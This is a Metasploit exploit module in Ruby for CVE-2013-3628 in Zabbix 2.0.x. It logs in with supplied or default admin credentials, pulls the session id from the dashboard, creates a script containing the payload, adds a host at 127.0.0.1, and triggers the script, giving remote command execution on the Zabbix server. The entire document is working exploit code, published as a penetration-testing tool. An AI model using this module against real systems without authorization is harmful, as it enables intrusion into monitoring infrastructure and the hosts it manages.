## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Zabbix Authenticated Remote Command Execution', 'Description' => %q{ ZABBIX allows an administrator to create scripts that will be run on hosts. An authenticated attacker can create a script containing a payload, then a host with an IP of 127.0.0.1 and run the abitrary script on the ZABBIX host. This module was tested againt Zabbix v2.0.9. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brandon Perry ' # Discovery / msf module ], 'References' => [ ['CVE', '2013-3628'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby telnet python', } }, 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Targets' => [['Automatic',{}]], 'DisclosureDate' => 'Oct 30 2013', 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [ true, "Username to authenticate with", 'Admin']), OptString.new('PASSWORD', [ true, "Password to authenticate with", 'zabbix']), OptString.new('TARGETURI', [ true, "The URI of the Zabbix installation", '/zabbix/']) ], self.class) end def check init = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/index.php") }) if !init or init.code != 200 vprint_error("Could not connect to server") return Exploit::CheckCode::Unknown end if init.body =~ /Zabbix (2\.0\.(\d)) Copyright/ if $1 >= "2.0.0" and $1 <= "2.0.8" vprint_good("Version #{$1} is vulnerable.") return Exploit::CheckCode::Appears end end return Exploit::CheckCode::Safe end def exploit c = connect req = c.request_cgi({ 'method' => 'POST', 'uri' => '/zabbix/', 'data' => "request=&name=#{datastore['USERNAME']}&password=#{datastore['PASSWORD']}&enter=Sign+in" }) login = c.send_recv(req.to_s.sub("Host:", "Host: " << datastore["RHOST"])) if !login or login.code != 302 fail_with(Failure::NoAccess, "Login failed") end sess = login.get_cookies dash = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/dashboard.php'), 'cookie' => sess }) if !dash or dash.code != 200 fail_with(Failure::UnexpectedReply, "Dashboard failed") end sid = '' dash.body.each_line do |line| if line =~ /&sid=(.{16})\">/ sid = $1 break end end if sid == '' fail_with(Failure::UnexpectedReply, "Could not get sid") end script_title = rand_text_alpha(18) post = { 'sid' => sid, 'form_refresh' => 3, 'form' => 'Create+script', 'name' => script_title, 'type' => 0, 'execute_on' => 1, 'command' => payload.encoded, 'commandipmi' => '', 'description' => '', 'usrgrpid' => 0, 'groupid' => 0, 'access' => 2, 'save' => 'Save' } resp = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/scripts.php'), 'vars_post' => post, 'cookie' => sess }) if !resp or resp.code != 200 fail_with(Failure::UnexpectedReply, "Error creating script") end script_id = '' if resp.body =~ /scriptid=(\d{1,8})&sid=#{sid}\">#{script_title}/ script_id = $1 else fail_with(Failure::UnexpectedReply, "Could not get the script id") end host = rand_text_alpha(18) post = { 'sid' => sid, 'form_refresh' => 1, 'form' => 'Create+host', 'host' => host, 'visiblename' => host, 'groups_left' => 4, 'newgroup' => '', 'interfaces[1][isNew]' => true, 'interfaces[1][interfaceid]' => 1, 'interfaces[1][type]' => 1, 'interfaces[1][ip]' => '127.0.0.1', 'interfaces[1][dns]' => '', 'interfaces[1][useip]' => 1, 'interfaces[1][port]' => 10050, 'mainInterfaces[1]' => 1, 'proxy_hostid' => 0, 'status' => 0, 'ipmi_authtype' => -1, 'ipmi_privilege' => 2, 'ipmi_username' => '', 'ipmi_password' => '', 'macros[0][macro]' => '', 'macros[0][value]' => '', 'inventory_mode' => -1, 'save' => 'Save', 'groups[4]' => 4 } resp = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/hosts.php'), 'vars_post' => post, 'cookie' => sess }) if !resp or resp.code != 200 fail_with(Failure::UnexpectedReply, "Error creating new host") end hostid = '' if resp.body =~ /hosts.php\?form=update&hostid=(\d{1,12})&groupid=(\d)&sid=#{sid}\">#{host}/ hostid = $1 else fail_with(Failure::UnexpectedReply, "Could not get the host id") end send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/scripts_exec.php?execute=1&hostid=#{hostid}&scriptid=#{script_id}&sid=#{sid}"), 'cookie' => sess }) end end